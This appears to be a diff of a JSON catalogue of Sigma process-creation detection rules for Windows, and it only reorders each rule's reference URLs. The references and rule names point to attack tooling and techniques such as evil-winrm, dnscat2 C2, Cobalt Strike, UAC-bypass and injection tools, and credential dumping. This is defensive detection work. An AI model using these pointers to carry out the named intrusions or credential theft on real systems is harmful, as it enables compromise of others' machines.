"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_read_contents.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1059.003/T1059.003.md" ], "tags": [ "attack.execution", @@ -35437,8 +35435,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://ss64.com/nt/syntax-redirection.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirect.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirect.yml", + "https://ss64.com/nt/syntax-redirection.html" ], "tags": [ "attack.discovery", @@ -35461,8 +35459,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirection_susp_folder.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirection_susp_folder.yml", + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/" ], "tags": [ "attack.execution", @@ -35488,8 +35486,8 @@ "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", "https://twitter.com/hFireF0X/status/897640081053364225", "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_com_object_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_com_object_access.yml", + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.execution", @@ -35545,9 +35543,9 @@ "logsource.product": "windows", "refs": [ "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", - "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_bloopers_cmd.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_bloopers_cmd.yml", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/" ], "tags": [ "attack.execution", @@ -35571,8 +35569,8 @@ "logsource.product": "windows", "refs": [ "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", - "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_bloopers_modules.yml" ], "tags": [ @@ -35596,10 +35594,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.cobaltstrike.com/help-windows-executable", "https://redcanary.com/threat-detection-report/", - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_load_by_rundll32.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_load_by_rundll32.yml", + "https://www.cobaltstrike.com/help-windows-executable", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/" ], "tags": [ "attack.defense_evasion", @@ -35647,9 +35645,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal.yml", "https://twitter.com/Oddvarmoe/status/1270633613449723905", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal.yml" + "https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/" ], "tags": [ "attack.execution", @@ -35674,8 +35672,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/hexacorn/status/1448037865435320323", - "https://twitter.com/Gal_B1t/status/1062971006078345217", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal_evasion.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal_evasion.yml", + "https://twitter.com/Gal_B1t/status/1062971006078345217" ], "tags": [ "attack.defense_evasion", @@ -35698,8 +35696,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_computer_discovery_get_adcomputer.yml" ], "tags": [ @@ -35748,8 +35746,8 @@ "logsource.product": "windows", "refs": [ "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", - "https://twitter.com/VK_Intel/status/1447795359900704769?t=Xz7vaLTvaaCZ5kHoZa6gMw&s=19", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conti_cmd_ransomware.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conti_cmd_ransomware.yml", + "https://twitter.com/VK_Intel/status/1447795359900704769?t=Xz7vaLTvaaCZ5kHoZa6gMw&s=19" ], "tags": [ "attack.impact", @@ -35773,9 +35771,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://docs.microsoft.com/en-us/sql/tools/sqlcmd-utility?view=sql-server-ver15", "https://twitter.com/vxunderground/status/1423336151860002816?s=20", "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", - "https://docs.microsoft.com/en-us/sql/tools/sqlcmd-utility?view=sql-server-ver15", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conti_sqlcmd.yml" ], "tags": [ @@ -35903,13 +35901,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", + "https://reaqta.com/2017/12/mavinject-microsoft-injector/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md", - "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", - "https://twitter.com/gN3mes1s/status/941315826107510784", - "https://reaqta.com/2017/12/mavinject-microsoft-injector/", "https://twitter.com/Hexacorn/status/776122138063409152", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_creation_mavinject_process_injection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_creation_mavinject_process_injection.yml", + "https://twitter.com/gN3mes1s/status/941315826107510784" ], "tags": [ "attack.defense_evasion", @@ -35960,8 +35958,8 @@ "logsource.product": "windows", "refs": [ "https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/", - "https://github.com/3gstudent/PasswordFilter/tree/master/PasswordFilter", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_access_via_password_filter.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_access_via_password_filter.yml", + "https://github.com/3gstudent/PasswordFilter/tree/master/PasswordFilter" ], "tags": [ "attack.credential_access", @@ -35982,8 +35980,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/guide/en/security/current/credential-acquisition-via-registry-hive-dumping.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_acquisition_registry_hive_dumping.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_acquisition_registry_hive_dumping.yml", + "https://www.elastic.co/guide/en/security/current/credential-acquisition-via-registry-hive-dumping.html" ], "tags": [ "attack.credential_access", @@ -36007,8 +36005,8 @@ "logsource.product": "windows", "refs": [ "https://www.virustotal.com/en/file/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022/analysis/", - "https://www.hybrid-analysis.com/sample/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_fireball.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_fireball.yml", + "https://www.hybrid-analysis.com/sample/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022?environmentId=100" ], "tags": [ "attack.execution", @@ -36032,10 +36030,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_maze_ransomware.yml", "https://app.any.run/tasks/51e7185c-52d7-4efb-ac0d-e86340053473/", "https://app.any.run/tasks/65a79440-373a-4725-8d74-77db9f2abda4/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_maze_ransomware.yml" + "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html" ], "tags": [ "attack.execution", @@ -36086,8 +36084,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.poolwatch.io/coin/monero", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crypto_mining_monero.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crypto_mining_monero.yml", + "https://www.poolwatch.io/coin/monero" ], "tags": [ "attack.impact", @@ -36111,8 +36109,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download.yml", + "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464" ], "tags": [ "attack.command_and_control", @@ -36160,9 +36158,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_data_compressed_with_rar.yml", "https://eqllib.readthedocs.io/en/latest/analytics/1ec33c93-3d0b-4a28-8014-dbdaae5c60ae.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_data_compressed_with_rar.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md" ], "tags": [ "attack.collection", @@ -36257,8 +36255,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/snovvcrash/DInjector", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dinjector.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dinjector.yml", + "https://github.com/snovvcrash/DInjector" ], "tags": [ "attack.defense_evasion", @@ -36281,8 +36279,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1083/T1083.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dirlister.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dirlister.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1083/T1083.md" ], "tags": [ "attack.discovery", @@ -36330,8 +36328,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.004/T1552.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_discover_private_keys.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_discover_private_keys.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.004/T1552.004.md" ], "tags": [ "attack.credential_access", @@ -36354,8 +36352,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_defender.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_defender.yml", + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool" ], "tags": [ "attack.defense_evasion", @@ -36378,8 +36376,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_vmware_xfer.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_vmware_xfer.yml", + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/" ], "tags": [ "attack.defense_evasion", @@ -36403,9 +36401,9 @@ "logsource.product": "windows", "refs": [ "https://github.com/lukebaggett/dnscat2-powershell", - "https://blu3-team.blogspot.com/2019/08/powershell-dns-c2-notes.html", "https://ragged-lab.blogspot.com/2020/06/it-is-always-dns-powershell-edition.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscat2_powershell_implementation.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscat2_powershell_implementation.yml", + "https://blu3-team.blogspot.com/2019/08/powershell-dns-c2-notes.html" ], "tags": [ "attack.command_and_control", @@ -36509,9 +36507,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/", "https://twitter.com/_felamos/status/1204705548668555264", "https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dotnet.yml" ], "tags": [ @@ -36535,8 +36533,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://ss64.com/nt/dsacls.html", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", + "https://ss64.com/nt/dsacls.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_abuse_permissions.yml" ], "tags": [ @@ -36560,9 +36558,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone", - "https://ss64.com/nt/dsacls.html", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", + "https://ss64.com/nt/dsacls.html", + "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_password_spray.yml" ], "tags": [ @@ -36634,8 +36632,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "https://github.com/Azure/Azure-Sentinel/blob/7e6aa438e254d468feec061618a7877aa528ee9f/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Email%20data%20exfiltration%20via%20PowerShell.yaml", + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_email_exfil_via_powershell.yml" ], "tags": [ @@ -36658,8 +36656,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.x86matthew.com/view_post?id=embed_exe_lnk", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_embed_exe_lnk.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_embed_exe_lnk.yml", + "https://www.x86matthew.com/view_post?id=embed_exe_lnk" ], "tags": [ "attack.execution", @@ -36730,11 +36728,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://isc.sans.edu/diary/More+Data+Exfiltration/25698", "https://github.com/synacktiv/Radmin3-Password-Cracker/blob/acfc87393e4b7c06353973a14a6c7126a51f36ac/regkey.txt", - "https://github.com/HyperSine/how-does-MobaXterm-encrypt-password", "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_enumeration_for_credentials_cli.yml" + "https://isc.sans.edu/diary/More+Data+Exfiltration/25698", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_enumeration_for_credentials_cli.yml", + "https://github.com/HyperSine/how-does-MobaXterm-encrypt-password" ], "tags": [ "attack.credential_access", @@ -36781,10 +36779,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", - "https://redcanary.com/threat-detection-report/threats/qbot/", "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml", + "https://redcanary.com/threat-detection-report/threats/qbot/", + "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/" ], "tags": [ "attack.collection", @@ -36807,16 +36805,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/_xpn_/status/1268712093928378368", - "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", - "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_modification_cmdline.yml", "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", - "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", - "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", "https://bunnyinside.com/?term=f71e8cb9c76a", - "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_modification_cmdline.yml" + "https://twitter.com/_xpn_/status/1268712093928378368", + "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", + "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr" ], "tags": [ "attack.defense_evasion", @@ -36839,10 +36837,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_trace_evasion.yml", "https://abuse.io/lockergoga.txt", - "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_trace_evasion.yml" + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", + "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63" ], "tags": [ "attack.defense_evasion", @@ -36867,8 +36865,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-3---winrm-access-with-evil-winrm", "https://github.com/Hackplayers/evil-winrm", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-3---winrm-access-with-evil-winrm", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_evil_winrm.yml" ], "tags": [ @@ -36966,8 +36964,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll", "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", + "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_expand_cabinet_files.yml" ], "tags": [ @@ -37043,9 +37041,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_11882.yml", "https://www.hybrid-analysis.com/sample/2a4ae284c76f868fc51d3bb65da8caa6efacb707f265b25c30f34250b76b7507?environmentId=100", - "https://www.google.com/url?hl=en&q=https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about&source=gmail&ust=1511481120837000&usg=AFQjCNGdL7gVwLXaNSl2Td8ylDYbSJFmPw", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_11882.yml" + "https://www.google.com/url?hl=en&q=https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about&source=gmail&ust=1511481120837000&usg=AFQjCNGdL7gVwLXaNSl2Td8ylDYbSJFmPw" ], "tags": [ "attack.execution", @@ -37072,8 +37070,8 @@ "logsource.product": "windows", "refs": [ "https://www.hybrid-analysis.com/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100", - "https://www.reverse.it/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_8759.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_8759.yml", + "https://www.reverse.it/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100" ], "tags": [ "attack.execution", @@ -37099,8 +37097,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.embercybersecurity.com/blog/cve-2019-1378-exploiting-an-access-control-privilege-escalation-vulnerability-in-windows-10-update-assistant-wua", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1378.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1378.yml", + "https://www.embercybersecurity.com/blog/cve-2019-1378-exploiting-an-access-control-privilege-escalation-vulnerability-in-windows-10-update-assistant-wua" ], "tags": [ "attack.privilege_escalation", @@ -37127,9 +37125,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1388", "https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1388.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1388.yml", + "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1388" ], "tags": [ "attack.privilege_escalation", @@ -37153,8 +37151,8 @@ "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", - "https://vulmon.com/exploitdetails?qidtp=exploitdb&qid=48224", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_10189.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_10189.yml", + "https://vulmon.com/exploitdetails?qidtp=exploitdb&qid=48224" ], "tags": [ "attack.initial_access", @@ -37182,8 +37180,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://windows-internals.com/printdemon-cve-2020-1048/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1048.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1048.yml", + "https://windows-internals.com/printdemon-cve-2020-1048/" ], "tags": [ "attack.persistence", @@ -37208,8 +37206,8 @@ "logsource.product": "windows", "refs": [ "https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/", - "https://blog.menasec.net/2019/02/threat-hunting-24-microsoft-windows-dns.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1350.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1350.yml", + "https://blog.menasec.net/2019/02/threat-hunting-24-microsoft-windows-dns.html" ], "tags": [ "attack.initial_access", @@ -37235,8 +37233,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/klinix5/InstallerFileTakeOver", - "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_lpe_cve_2021_41379.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_lpe_cve_2021_41379.yml", + "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/" ], "tags": [ "attack.privilege_escalation", @@ -37259,8 +37257,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/GossiTheDog/SystemNightmare", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_systemnightmare.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_systemnightmare.yml", + "https://github.com/GossiTheDog/SystemNightmare" ], "tags": [ "attack.privilege_escalation", @@ -37283,8 +37281,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_false_sysinternalsuite.yml" + 